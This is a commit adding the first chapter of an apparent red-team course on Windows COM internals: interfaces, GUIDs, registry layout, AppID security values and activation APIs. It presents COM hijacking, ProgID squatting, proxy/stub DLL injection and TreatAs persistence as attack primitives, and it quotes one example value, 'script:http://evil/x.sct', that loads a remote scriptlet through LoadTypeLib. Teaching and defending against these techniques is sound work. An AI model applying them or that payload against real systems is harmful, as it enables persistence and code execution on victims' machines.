Add files via upload
@@ -0,0 +1,828 @@
|
|||||||
|
# 01 · COM Fundamentals for Offensive Security
|
||||||
|
|
||||||
|
> **Audience / level:** Red team operators; zero COM experience assumed, ramping to wire-level internals. **Prerequisites:** basic Windows administration (registry, services, processes), ability to read C declarations, PowerShell literacy. **Estimated reading time:** 90–120 minutes.
|
||||||
|
> After this chapter you will be able to trace any COM activation from a registry lookup to the bytes on the wire, explain exactly where Windows enforces (or forgets to enforce) a security boundary, and name the mechanism every later attack chapter abuses.
|
||||||
|
|
||||||
|
**Contents**
|
||||||
|
- [1. Why COM matters to an attacker](#1-why-com-matters-to-an-attacker)
|
||||||
|
- [2. The object model: interfaces are vtables](#2-the-object-model-interfaces-are-vtables)
|
||||||
|
- [3. Identity: the GUID zoo](#3-identity-the-guid-zoo)
|
||||||
|
- [4. The registry is the COM database](#4-the-registry-is-the-com-database)
|
||||||
|
- [5. Activation, step by step](#5-activation-step-by-step)
|
||||||
|
- [6. Marshaling and the wire](#6-marshaling-and-the-wire)
|
||||||
|
- [7. Apartments and threading](#7-apartments-and-threading)
|
||||||
|
- [8. Monikers and the Running Object Table](#8-monikers-and-the-running-object-table)
|
||||||
|
- [9. The COM security model](#9-the-com-security-model)
|
||||||
|
- [10. The elevation bridge](#10-the-elevation-bridge)
|
||||||
|
- [11. WinRT and .NET bridges](#11-winrt-and-net-bridges)
|
||||||
|
- [12. The attack-surface map](#12-the-attack-surface-map)
|
||||||
|
- [13. Tooling and lab setup](#13-tooling-and-lab-setup)
|
||||||
|
- [14. Research Lab: Building Your COM Research Workbench](#14-research-lab-building-your-com-research-workbench)
|
||||||
|
- [15. Quick-reference GUID appendix](#15-quick-reference-guid-appendix)
|
||||||
|
- [16. References](#16-references)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Why COM matters to an attacker
|
||||||
|
|
||||||
|
COM (Component Object Model, introduced 1993) is Windows' binary-level component standard: a way for code in one binary — or another process, another machine, another logon session, another integrity level — to call code somewhere else through **interfaces**, without caring about compiler, language, or location ([12]). It is the substrate under OLE, ActiveX, DirectX, WMI, the Windows shell, Office automation, WinRT, UAC elevation, and most Microsoft management tooling. If you operate on Windows, you are already standing on COM whether you see it or not.
|
||||||
|
|
||||||
|
> **Beginner note:** A **component** is just a reusable unit of code (a DLL or EXE) that other programs can load and call. COM is the contract that makes this safe across vendors: it fixes how a caller finds a component, how function calls are laid out in memory, how errors are reported, and how the component is released. Think of it as the operating system's plugin ABI — an application binary interface every language can speak.
|
||||||
|
|
||||||
|
Three properties make COM the richest execution, persistence, and escalation surface on Windows:
|
||||||
|
|
||||||
|
1. **Practically every Windows process loads the COM runtime** (`combase.dll` / `ole32.dll`), and thousands of COM classes are registered by default on a clean install ([12]).
|
||||||
|
2. **Activation is driven entirely by the registry.** The mapping from a 128-bit class identifier to executable code lives in `HKEY_CLASSES_ROOT\CLSID`, and `HKEY_CLASSES_ROOT` is a *merged view* in which per-user registrations silently override system ones (section 4.1). COM trusts that mapping; attackers edit it ([12], [13]).
|
||||||
|
3. **COM traffic is mostly in-process or local RPC**, so it is nearly invisible to file-less-malware defenses: no new service, no suspicious image load path that isn't a signed Microsoft binary, no command line a SOC dashboard flags.
|
||||||
|
|
||||||
|
> **Key idea:** Every COM attack primitive in this course — hijack, squat, relay, elevate, move laterally — reduces to one question: *who controls the mapping from a GUID to code, and what identity does the resulting server run with?* Keep that lens on for the whole chapter.
|
||||||
|
|
||||||
|
### 1.1 Core runtime components
|
||||||
|
|
||||||
|
The moving parts you will meet in every later section ([12]):
|
||||||
|
|
||||||
|
| Binary / service | Role |
|
||||||
|
|---|---|
|
||||||
|
| `combase.dll` | Modern client-side COM runtime: `CoCreateInstance`, activation, marshaling, security. Most legacy `ole32.dll` exports forward here. |
|
||||||
|
| `ole32.dll` | Legacy runtime (OLE1/OLE2 embedding, monikers, Running Object Table, clipboard); forwards most `Co*` APIs to combase. |
|
||||||
|
| `oleaut32.dll` | Automation: `VARIANT`, `BSTR`, `SAFEARRAY`, type libraries, the **universal (TypeLib-driven) marshaler**, `IDispatch`. |
|
||||||
|
| `rpcss.dll` | The COM "SCM"/activator, ROT store, OXID resolver, endpoint-mapper support. Runs inside the **RpcSs** service (`svchost -k rpcss`). |
|
||||||
|
| `svchost -k DcomLaunch` | **DCOM Server Process Launcher** — starts out-of-process COM servers (`LocalServer32` EXEs, services, `dllhost.exe` surrogates). |
|
||||||
|
| `dllhost.exe /Processid:{AppID}` | Default **surrogate** process that hosts in-proc DLL classes out-of-process when an AppID carries a `DllSurrogate` value (empty string = default surrogate). |
|
||||||
|
|
||||||
|
> **Beginner note:** **SCM** here means "Service Control Manager" only by analogy — COM documentation calls its activator the SCM, but the real work is done by the RPCSS service. **OXID resolver**, **ROT**, **surrogate**, **AppID** are all defined later in this chapter; treat the table as a map you will keep coming back to.
|
||||||
|
|
||||||
|
> **OpSec:** A defender who baselines these six components knows exactly what "normal" looks like: `dllhost.exe` with `/Processid:` arguments, `svchost -k DcomLaunch` spawning a `LocalServer32` binary, RPCSS listening on TCP 135. Every attack chapter leaves fingerprints in this small set of processes.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. The object model: interfaces are vtables
|
||||||
|
|
||||||
|
A COM object is reached only through an **interface**, and an interface is nothing more than a pointer to a **vtable** — an array of function pointers in a fixed order, forever. C++ abstract-base-class layout is the canonical mapping:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Client holds: pItf ──► [ vptr ] ──► vtable[0] = QueryInterface
|
||||||
|
vtable[1] = AddRef
|
||||||
|
vtable[2] = Release
|
||||||
|
vtable[3] = <first interface-specific method>
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Beginner note:** A **vtable** (virtual function table) is how C++ implements polymorphism: the object starts with a hidden pointer (`vptr`) to a table of method addresses, and calling a method means "jump to table entry N". COM simply standardizes this layout so that *any* compiler, any language, any process boundary produces the same memory shape. Method order never changes; an interface is **immutable** once published and is identified by an interface ID (**IID**); all methods return `HRESULT`; the first three slots are always `IUnknown`.
|
||||||
|
|
||||||
|
### 2.1 IUnknown: the root of every object
|
||||||
|
|
||||||
|
Every COM interface derives from `IUnknown` — IID `{00000000-0000-0000-C000-000000000046}`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
struct IUnknown {
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void **ppvObject) = 0;
|
||||||
|
virtual ULONG STDMETHODCALLTYPE AddRef(void) = 0;
|
||||||
|
virtual ULONG STDMETHODCALLTYPE Release(void) = 0; // object self-destructs at refcount 0
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
- `QueryInterface` (**QI**) is the *only* discovery mechanism: you ask an object "do you implement IID X?" and receive either an interface pointer or `E_NOINTERFACE`. The contract is reflexive, symmetric, transitive, and `QI(IID_IUnknown)` must always return the same pointer — that pointer *is* the object's identity.
|
||||||
|
- `AddRef`/`Release` implement reference counting: the object frees itself when the count reaches zero.
|
||||||
|
- Multiple interfaces on one object = multiple `vptr`s (C++ multiple inheritance with adjusting thunks). `IUnknown` appears once per base vtable, but identity is preserved through the primary `IUnknown`.
|
||||||
|
|
||||||
|
> **Key idea:** There is no type system at runtime, only QI. Anything that tricks a client into trusting the *wrong* vtable — a forged marshaled pointer, a swapped registry entry, a TreatAs redirect — is indistinguishable from the real object. COM's entire trust model rests on the registry and on the unmarshaling code, not on cryptography.
|
||||||
|
|
||||||
|
`HRESULT` is a 32-bit structured return code: bit 31 = severity (1 = failure), bits 16–26 = facility (1 = RPC, 2 = Dispatch, 3 = Storage, 4 = ITF/interface-specific, 7 = Win32), bits 0–15 = code. Codes you will see constantly:
|
||||||
|
|
||||||
|
| Constant | Value | Meaning |
|
||||||
|
|---|---|---|
|
||||||
|
| `S_OK` | `0x00000000` | Success |
|
||||||
|
| `S_FALSE` | `0x00000001` | Success with a boolean "false" payload |
|
||||||
|
| `E_NOINTERFACE` | `0x80004002` | QI failed: interface not implemented |
|
||||||
|
| `E_POINTER` | `0x80004003` | Invalid pointer argument |
|
||||||
|
| `E_ACCESSDENIED` | `0x80070005` | Launch/access permission failure (facility 7 = Win32, code 5) |
|
||||||
|
| `REGDB_E_CLASSNOTREG` | `0x80040154` | CLSID not found in the registry |
|
||||||
|
| `MK_E_SYNTAX` | — | Moniker display-name parse failure |
|
||||||
|
| `CO_E_ELEVATION_DISABLED` / `CO_E_MISSING_DISPLAYNAME` / `CO_E_RUNAS_VALUE_MUST_BE_AAA` | — | Elevation-moniker policy failures (section 10) |
|
||||||
|
| `RPC_E_CHANGED_MODE` | — | Thread tried to change its apartment model after init |
|
||||||
|
|
||||||
|
### 2.2 IDispatch: late binding for script (the automation engine)
|
||||||
|
|
||||||
|
`IUnknown` requires the caller to know the vtable layout at compile time. Scripting languages cannot do that, so automation-capable objects also implement **`IDispatch`** — IID `{00020400-0000-0000-C000-000000000046}` — vtable slots 3–6:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
HRESULT GetTypeInfoCount(UINT *pctinfo);
|
||||||
|
HRESULT GetTypeInfo(UINT iTInfo, LCID lcid, ITypeInfo **ppTInfo);
|
||||||
|
HRESULT GetIDsOfNames(REFIID riid, LPOLESTR *rgszNames, UINT cNames, LCID lcid, DISPID *rgDispId);
|
||||||
|
/* [local] */ HRESULT Invoke(DISPID dispIdMember, REFIID riid, LCID lcid, WORD wFlags,
|
||||||
|
DISPPARAMS *pDispParams, VARIANT *pVarResult,
|
||||||
|
EXCEPINFO *pExcepInfo, UINT *puArgErr);
|
||||||
|
/* wire: [call_as(Invoke)] RemoteInvoke(..., UINT cVarRef, UINT *rgVarRefIdx, VARIANTARG *rgVarRef) */
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Beginner note:** This is **late binding**: instead of jumping to vtable slot N, the caller passes method *names* as strings. `GetIDsOfNames` translates names to numeric dispatch IDs (**DISPIDs**), and `Invoke(DISPID, args)` executes the method with arguments packed as an array of `VARIANT`s — a tagged-union type that can hold integers, strings, objects, arrays. This is exactly what `New-Object -ComObject`, VBScript `CreateObject`, JScript, VBA, and every `IDispatch`-only client use under the hood.
|
||||||
|
|
||||||
|
- `wFlags`: `DISPATCH_METHOD=0x1`, `DISPATCH_PROPERTYGET=0x2`, `DISPATCH_PROPERTYPUT=0x4`, `DISPATCH_PROPERTYPUTREF=0x8`.
|
||||||
|
- `DISPPARAMS = { VARIANTARG *rgvarg; DISPID *rgdispidNamed; UINT cArgs; UINT cNamedArgs; }` — arguments are passed **in reverse order**, a detail that matters when you hand-craft `Invoke` calls from a fuzzer or a C# reflection harness.
|
||||||
|
- A **dual interface** exposes both a custom vtable *and* `IDispatch` — marked `dual` in IDL and described by a type library — so the same object serves compiled C++ clients and VBScript equally.
|
||||||
|
|
||||||
|
> **Key idea:** Any class registered with the `Programmable` marker and a dual interface is *scriptable code-execution plumbing*: two lines of PowerShell, JScript, or an Office macro can instantiate it and call arbitrary methods. The classic inventory — `WScript.Shell` `{72C24DD5-D70A-438B-8A42-98424B88AFB8}`, `Shell.Application` `{13709620-C279-11CE-A49E-444553540000}`, `MMC20.Application` `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}`, Office `*.Application`, `InternetExplorer.Application` `{0002DF01-0000-0000-C000-000000000046}`, `Scripting.FileSystemObject` `{0D43FE01-F093-11CF-8940-00A0C9054228}`, `Schedule.Service` `{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}` — is the backbone of the lateral-movement and execution chapters.
|
||||||
|
|
||||||
|
### 2.3 Class factories and aggregation
|
||||||
|
|
||||||
|
COM never news an object directly; every creatable class exposes a **class object** (class factory) implementing **`IClassFactory`** — IID `{00000001-0000-0000-C000-000000000046}`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
HRESULT CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppvObject); // pUnkOuter != NULL only for aggregation
|
||||||
|
HRESULT LockServer(BOOL fLock); // pin the server in memory
|
||||||
|
```
|
||||||
|
|
||||||
|
`IClassFactory2` `{B196B28F-BAB4-101A-B69C-00AA00341D07}` adds licensing (`GetLicInfo`, `RequestLicKey`, `CreateInstanceLic`) — relevant when a control refuses to instantiate outside a licensed container.
|
||||||
|
|
||||||
|
**Aggregation vs containment.** `CoCreateInstance(..., pUnkOuter, ...)` passes a *controlling outer* `IUnknown`; the inner object delegates its `IUnknown` to the outer (identity fusion) while keeping private inner vtables. Aggregation bugs — identity confusion, blind `AddRef`/`Release` through the wrong pointer — are a classic local privilege-escalation bug class known as "trapped objects", covered in the privilege-escalation chapter.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Identity: the GUID zoo
|
||||||
|
|
||||||
|
Everything in COM is named by a **GUID**: 16 bytes, string form `{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}` (struct fields `Data1` u32, `Data2`/`Data3` u16, `Data4` u8[8]; generated by `CoCreateGuid`/`UuidCreate`, version-4 random). String↔binary conversion: `CLSIDFromString`/`IIDFromString`/`StringFromGUID2`, `StringFromCLSID`.
|
||||||
|
|
||||||
|
> **Beginner note:** A GUID is just a very large random number used as a name. The point is collision-freedom *without* a central registrar: any vendor can mint IDs for their classes and interfaces. The flip side for defenders and attackers alike: a GUID alone tells you nothing — its *meaning* comes from the registry entries that reference it.
|
||||||
|
|
||||||
|
| Name | Identifies | Registry home |
|
||||||
|
|---|---|---|
|
||||||
|
| **CLSID** | a class (an implementation) | `HKCR\CLSID\{CLSID}` |
|
||||||
|
| **IID** | an interface (a vtable contract) | `HKCR\Interface\{IID}` |
|
||||||
|
| **AppID** | a deployment/security group of classes | `HKCR\AppID\{AppID}` |
|
||||||
|
| **ProgID** | human-readable class alias, `Vendor.Component[.Version]`, ≤ 39 chars | `HKCR\<ProgID>` |
|
||||||
|
| **LIBID** | a type library + version (major.minor) | `HKCR\TypeLib\{LIBID}\<ver>` |
|
||||||
|
| **CATID** | a component category (e.g. "Insertable control") | `HKCR\Component Categories\{CATID}` |
|
||||||
|
|
||||||
|
Conversions: `CLSIDFromProgID` reads `HKCR\<ProgID>\CLSID`; `ProgIDFromCLSID` reads `HKCR\CLSID\{CLSID}\ProgID`; `VersionIndependentProgID` plus a `CurVer` chain resolves `Vendor.Component` → `Vendor.Component.2` → CLSID. This is why `New-Object -ComObject WScript.Shell` works without anyone typing a GUID.
|
||||||
|
|
||||||
|
> **Key idea:** Uniqueness of ProgIDs is by *convention only* — nothing validates collisions. Whoever writes `HKCR\WScript.Shell\CLSID` first (or highest in the merge order, section 4.1) decides what `WScript.Shell` means for that victim. **ProgID squatting** is therefore trivial and shows up in persistence tradecraft; version chains (`CurVer`) add a second, often-forgotten redirection hop to audit.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. The registry is the COM database
|
||||||
|
|
||||||
|
COM has no central daemon holding registrations; the registry *is* the database, and `combase.dll` queries it on every activation ([12]). This section is the longest in the chapter because it is the one everything else stands on.
|
||||||
|
|
||||||
|
### 4.1 The merged view — the single most important security fact
|
||||||
|
|
||||||
|
`HKEY_CLASSES_ROOT` (**HKCR**) is **not a real hive**. It is a merged view of two underlying hives ([12], [13]):
|
||||||
|
|
||||||
|
- `HKLM\SOFTWARE\Classes` — system-wide; writing requires admin/TrustedInstaller.
|
||||||
|
- `HKCU\SOFTWARE\Classes` — per-user; **writable by the unprivileged user**.
|
||||||
|
|
||||||
|
**Per-user keys win** in the merged view. When a standard user writes to `HKCR\...`, the write is silently redirected to `HKCU\Software\Classes\...`, and subsequent reads through `HKCR` return the user's version in preference to the system's. This applies to `CLSID`, `AppID`, `Interface`, `TypeLib`, ProgIDs, and file associations alike.
|
||||||
|
|
||||||
|
> **Key idea:** The entire CLSID→code resolution can be shadowed per-user with *no privileges and no admin prompt*. A standard user can redirect any CLSID their own session activates — including CLSIDs that elevated, auto-approving processes will later activate on their behalf. This is the root primitive of COM hijacking, and the persistence and UAC-bypass chapters spend their entire length exploiting this one sentence.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the two source hives feed one merged view; reads prefer the HKCU layer, so any key the user plants there masks the system value below it. The WOW6432Node branch shows where 32-bit registrations live on 64-bit Windows.*
|
||||||
|
|
||||||
|
**64-bit vs 32-bit.** On 64-bit Windows, 32-bit registrations live under `HKCR\WOW6432Node\CLSID` (and `WOW6432Node\AppID`, `WOW6432Node\Interface`, `WOW6432Node\TypeLib`); 32-bit processes writing `HKLM\SOFTWARE\Classes\CLSID` are redirected there. COM bitness must match the client unless an out-of-process server or the AppID value `PreferredServerBitness` (1 = 32-bit, 2 = 64-bit) is used; the client can force it with `CLSCTX_ACTIVATE_32_BIT_SERVER=0x40000` / `CLSCTX_ACTIVATE_64_BIT_SERVER=0x80000`.
|
||||||
|
|
||||||
|
### 4.2 `HKCR\CLSID\{CLSID}` — anatomy of a class registration
|
||||||
|
|
||||||
|
```text
|
||||||
|
HKCR\CLSID\{XXXXXXXX-...}
|
||||||
|
(Default) = "Friendly class name"
|
||||||
|
AppID = "{AppID-GUID}" (value; links to security config)
|
||||||
|
LocalizedString = "@C:\path\to.dll,-101" (value; MUI name for UAC consent)
|
||||||
|
\InprocServer32
|
||||||
|
(Default) = "C:\...\server.dll"
|
||||||
|
ThreadingModel = "" | "Apartment" | "Free" | "Both" | "Neutral"
|
||||||
|
\LocalServer32
|
||||||
|
(Default) = "C:\...\server.exe" (may include args)
|
||||||
|
ServerExecutable = "C:\...\server.exe" (optional)
|
||||||
|
\InprocHandler32 = handler DLL (handler marshaling)
|
||||||
|
\ProgID = "Vendor.Component.1"
|
||||||
|
\VersionIndependentProgID = "Vendor.Component"
|
||||||
|
\TypeLib = "{LIBID}"
|
||||||
|
\TreatAs = "{OtherCLSID}" (full emulation redirect — checked FIRST)
|
||||||
|
\AutoTreatAs = "{OtherCLSID}" (auto version-update redirect)
|
||||||
|
\Control / \Insertable / \Programmable (marker subkeys)
|
||||||
|
\Implemented Categories\{CATID}
|
||||||
|
\DefaultIcon, \ToolboxBitmap32, \MiscStatus, \Version, \Verb
|
||||||
|
\Elevation
|
||||||
|
Enabled = 1 (DWORD; class is LUA/auto-elevation capable)
|
||||||
|
IconReference = "@path,-resid"
|
||||||
|
```
|
||||||
|
|
||||||
|
The read order is security-critical ([5], [6], [12], [13]):
|
||||||
|
|
||||||
|
1. **`TreatAs` / `AutoTreatAs` are checked FIRST** — before any server key. If present, activation recursively restarts with the replacement CLSID and the original class's code is never touched. This is a registry-only redirect: no DLL of the real class is loaded, and the Turla "COMpfun" family used exactly this for persistence.
|
||||||
|
2. Then the SxS activation context (section 4.7).
|
||||||
|
3. Then `InprocServer32` (bitness-aware) or `LocalServer32`, depending on the requested `CLSCTX`.
|
||||||
|
|
||||||
|
`ThreadingModel` semantics (why they matter in section 7): *(absent)* = legacy single-threaded → object must live in the **first (main) STA** of the process; `Apartment` = any STA; `Free` = MTA only; `Both` = same apartment as the client (STA or MTA); `Neutral` = thread-neutral apartment (COM+). A wrong model doesn't fail — COM silently spins up a different apartment and **marshals** the calls, which changes performance, reentrancy, and sometimes security behavior.
|
||||||
|
|
||||||
|
### 4.3 `HKCR\AppID\{AppID}` — security configuration
|
||||||
|
|
||||||
|
AppIDs group classes under one security and hosting policy. The named values below live under `HKCR\AppID\{AppID}`; the binary ACLs are self-relative `SECURITY_DESCRIPTOR`s, editable in `dcomcnfg.exe` → Component Services → DCOM Config ([4], [11]):
|
||||||
|
|
||||||
|
| Value | Meaning |
|
||||||
|
|---|---|
|
||||||
|
| `(Default)` | Friendly name |
|
||||||
|
| `LaunchPermission` | Binary ACL: who may **activate** (checked by RPCSS at launch) |
|
||||||
|
| `AccessPermission` | Binary ACL: who may **call** (checked in the server process at first access / by `CoInitializeSecurity` default) |
|
||||||
|
| `AuthenticationLevel` | DWORD override of `RPC_C_AUTHN_LEVEL_*` |
|
||||||
|
| `RunAs` | `"Interactive User"` or a user name → server runs as that identity (absent = launching user); **cross-session activation when set to Interactive User** |
|
||||||
|
| `LocalService` + `ServiceParameters` | Run as a Windows service (started via the SCM) |
|
||||||
|
| `DllSurrogate` | Custom surrogate path; **empty string = default `dllhost.exe`** |
|
||||||
|
| `RemoteServerName` | Default remote host (legacy) |
|
||||||
|
| `ActivateAtStorage` | DWORD 1 = activate where the persistent data lives |
|
||||||
|
| `ROTFlags` | DWORD 1 = allow any client ROT visibility |
|
||||||
|
| `AppIDFlags` | e.g. `APPIDREGFLAGS_AAA_NO_IMPERSONATE=0x8` |
|
||||||
|
| `PreferredServerBitness` | 1 = 32-bit, 2 = 64-bit |
|
||||||
|
| `LoadUserSettings` | Load the user hive in the server |
|
||||||
|
| `Endpoints` | Restrict RPC protocol sequences (multi_sz) |
|
||||||
|
|
||||||
|
Additionally `HKCR\AppID\<program.exe>` (named after the EXE) with value `AppID={guid}` maps an EXE to its AppID. Two consequences matter for offense: **a class with no AppID cannot be launched remotely and cannot elevate** ([14]) — DCOM lateral movement and UAC bypass both begin by finding classes that *do* have AppIDs — and the `RunAs`/`DllSurrogate` values decide what identity and what host process your payload inherits.
|
||||||
|
|
||||||
|
### 4.4 `HKCR\Interface\{IID}` — marshaling glue
|
||||||
|
|
||||||
|
```text
|
||||||
|
HKCR\Interface\{IID}
|
||||||
|
(Default) = "IMyInterface"
|
||||||
|
\ProxyStubClsid32 = "{CLSID of the proxy/stub DLL}" <- loaded into BOTH client & server processes
|
||||||
|
\ProxyStubClsid = 16-bit legacy
|
||||||
|
\NumMethods = "7"
|
||||||
|
\BaseInterface = "{IID of parent}"
|
||||||
|
\TypeLib = "{LIBID}" (+ \Version)
|
||||||
|
```
|
||||||
|
|
||||||
|
- `ProxyStubClsid32 = {00020424-0000-0000-C000-000000000046}` (**PSOAInterface**, the oleaut32 "universal marshaler") means the interface is marshaled **TypeLib-driven** — oleaut32 reads the registered type library at runtime and builds proxies on the fly (requires `[oleautomation]`-compatible types). `PSDispatch = {00020420-0000-0000-C000-000000000046}` does the same for pure `IDispatch`.
|
||||||
|
- Otherwise the CLSID points at a MIDL-generated proxy/stub DLL, which itself has a normal `HKCR\CLSID` entry with `InprocServer32` ([38]).
|
||||||
|
|
||||||
|
> **Key idea:** This key is the **marshaling trust anchor**. A per-user shadow of `HKCR\Interface\{IID}\ProxyStubClsid32` injects a DLL into *every process that ever marshals that interface* — including privileged COM servers that call across apartments or processes. One registry value, code execution on both sides of the boundary. The privilege-escalation chapter builds a full LPE chain on it.
|
||||||
|
|
||||||
|
### 4.5 `HKCR\TypeLib\{LIBID}` — type libraries
|
||||||
|
|
||||||
|
A **type library** (TLB) is the compiled metadata describing interfaces, methods, and types — what the universal marshaler, IDispatch clients, and IDEs read ([39], [41]).
|
||||||
|
|
||||||
|
```text
|
||||||
|
HKCR\TypeLib\{LIBID}
|
||||||
|
\<major.minor> (Default) = "MyLib 1.0 Type Library"
|
||||||
|
\0\win32 (Default) = "C:\...\lib.tlb" (0 = LCID-neutral)
|
||||||
|
\0\win64 (Default) = 64-bit tlb
|
||||||
|
\9\win32 (Default) = LCID 9 (en-US) localized tlb
|
||||||
|
\FLAGS = "0" (LIBFLAG: 1=RESTRICTED, 2=CONTROL, 4=HIDDEN, 8=HASDISKIMAGE)
|
||||||
|
\HELPDIR = path
|
||||||
|
```
|
||||||
|
|
||||||
|
APIs: `LoadTypeLib(path)` / `LoadTypeLibEx`, `LoadRegTypeLib(LIBID, wVerMajor, wVerMinor, lcid)`, `RegisterTypeLib`/`UnRegisterTypeLib`, `QueryPathOfRegTypeLib`. Type libraries are binary (magic `MSFT` = `0x5446534D`) or embedded in PEs as `TYPELIB` resources; `stdole2.tlb`/`stdole32.tlb` are the system ones.
|
||||||
|
|
||||||
|
> **Warning:** **`LoadTypeLib` moniker-parsing quirk** (Outflank research, [23]): if the path string is not a standalone or embedded TLB, the API falls back to parsing the string *as a moniker display name*. `"script:http://evil/x.sct"` therefore reaches the script moniker (section 8) and executes code — from what every developer assumes is a data-only API. This underpins both TypeLib hijacking (persistence chapter) and the Visual Studio poisoning attack.
|
||||||
|
|
||||||
|
### 4.6 Machine-wide OLE policy — `HKLM\SOFTWARE\Microsoft\Ole`
|
||||||
|
|
||||||
|
These values set the ceiling every AppID lives under ([27]):
|
||||||
|
|
||||||
|
| Value | Meaning |
|
||||||
|
|---|---|
|
||||||
|
| `EnableDCOM` ("Y"/"N") | Master remote-activation switch |
|
||||||
|
| `EnableRemoteConnect` ("Y"/"N") | Remote *access* (non-activation) switch |
|
||||||
|
| `DefaultLaunchPermission` / `DefaultAccessPermission` | Binary ACLs used when an AppID omits its own |
|
||||||
|
| `MachineLaunchRestriction` / `MachineAccessRestriction` | Hard **ceiling** ACLs applied to every activation/access |
|
||||||
|
| `LegacyAuthenticationLevel` (DWORD) | Process default when the app never calls `CoInitializeSecurity` (2 = `CONNECT`; raised to `PKT_INTEGRITY` = 5 by DCOM hardening) |
|
||||||
|
| `LegacyImpersonationLevel` (DWORD) | Default client impersonation level (commonly 2 = Identify; many vendor hardening scripts set 3 = Impersonate) |
|
||||||
|
| `AppCompat\RequireIntegrityActivationAuthenticationLevel` (DWORD) | CVE-2021-26414 kill-switch: 1 = DCOM servers reject activation below `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` |
|
||||||
|
| `AppCompat\RaiseActivationAuthenticationLevel` (DWORD) | 2 = clients auto-raise non-anonymous activation to `PKT_INTEGRITY` (Nov 2022) |
|
||||||
|
|
||||||
|
> **Warning:** The *current defaults* of `LegacyAuthenticationLevel`/`LegacyImpersonationLevel` on fully patched Windows 11 are **version-dependent** — the DCOM hardening rollout has shifted them across releases. Verify on your exact lab build before relying on any documented value (this flag is carried from the research brief's confidence notes).
|
||||||
|
|
||||||
|
### 4.7 Registration-free COM (SxS)
|
||||||
|
|
||||||
|
Classes can be registered in an **activation-context manifest** instead of the registry: `<file><comClass clsid="..." threadingModel="..." tlbid="..." progid="..."/></file>`, `<comInterfaceExternalProxyStub iid="..." proxyStubClsid32="...">`, `<typelib tlbid="...">`, driven by `CreateActCtx`/`ActivateActCtx`; Windows itself ships manifests under `%WinDir%\WinSxS\Manifests`. The lookup order during activation is: **active activation context → process manifest → application manifest → registry**.
|
||||||
|
|
||||||
|
> **Key idea:** Reg-free entries are invisible to naive `HKCR` hunting, and an attacker-controlled manifest for a hijacked CLSID needs **no registry write at all** — a stealthy persistence/hijack path that defeats both detection rules keyed on `HKCU\Software\Classes` and many hunting playbooks. The persistence chapter weaponizes this.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Activation, step by step
|
||||||
|
|
||||||
|
**Activation** is everything that happens between "client asks for a CLSID" and "client holds a usable interface pointer". Every later chapter hijacks one of the steps below.
|
||||||
|
|
||||||
|
### 5.1 Client-side APIs (exact signatures)
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
HRESULT CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
|
||||||
|
// dwCoInit: COINIT_MULTITHREADED=0x0 | COINIT_APARTMENTTHREADED=0x2
|
||||||
|
// | COINIT_DISABLE_OLE1DDE=0x4 | COINIT_SPEED_OVER_MEMORY=0x8
|
||||||
|
HRESULT CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
|
||||||
|
HRESULT CoGetClassObject(REFCLSID rclsid, DWORD dwClsContext, LPVOID pvReserved, REFIID riid, LPVOID *ppv);
|
||||||
|
HRESULT CoCreateInstanceEx(REFCLSID rclsid, IUnknown *punkOuter, DWORD dwClsCtx,
|
||||||
|
COSERVERINFO *pServerInfo, DWORD dwCount, MULTI_QI *pResults);
|
||||||
|
// COSERVERINFO { DWORD dwReserved1; LPWSTR pwszName; COAUTHINFO *pAuthInfo; DWORD dwReserved2; }
|
||||||
|
// MULTI_QI { const IID *pIID; IUnknown *pItf; HRESULT hr; }
|
||||||
|
HRESULT CoGetObject(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv);
|
||||||
|
HRESULT CLSIDFromProgID(LPCOLESTR lpszProgID, LPCLSID lpclsid);
|
||||||
|
```
|
||||||
|
|
||||||
|
([1], [2]) `CoCreateInstance` literally expands to:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
CoGetClassObject(clsid, ctx, NULL, IID_IClassFactory, &pCF);
|
||||||
|
pCF->CreateInstance(pUnkOuter, riid, ppv);
|
||||||
|
pCF->Release();
|
||||||
|
```
|
||||||
|
|
||||||
|
**CLSCTX** (`wtypes.h`) selects *where* the server may run ([1]):
|
||||||
|
|
||||||
|
| Constant | Value | | Constant | Value |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| `INPROC_SERVER` | `0x1` | | `DISABLE_AAA` | `0x8000` |
|
||||||
|
| `INPROC_HANDLER` | `0x2` | | `ENABLE_AAA` | `0x10000` |
|
||||||
|
| `LOCAL_SERVER` | `0x4` | | `FROM_DEFAULT_CONTEXT` | `0x20000` |
|
||||||
|
| `INPROC_SERVER16` | `0x8` | | `ACTIVATE_32_BIT_SERVER` | `0x40000` |
|
||||||
|
| `REMOTE_SERVER` | `0x10` | | `ACTIVATE_64_BIT_SERVER` | `0x80000` |
|
||||||
|
| `INPROC_HANDLER16` | `0x20` | | `ENABLE_CLOAKING` | `0x100000` |
|
||||||
|
| `NO_CODE_DOWNLOAD` | `0x400` | | `APPCONTAINER` | `0x400000` |
|
||||||
|
| `NO_CUSTOM_MARSHAL` | `0x1000` | | `ACTIVATE_AAA_AS_IU` | `0x800000` |
|
||||||
|
| `ENABLE_CODE_DOWNLOAD` | `0x2000` | | `PS_DLL` | `0x80000000` |
|
||||||
|
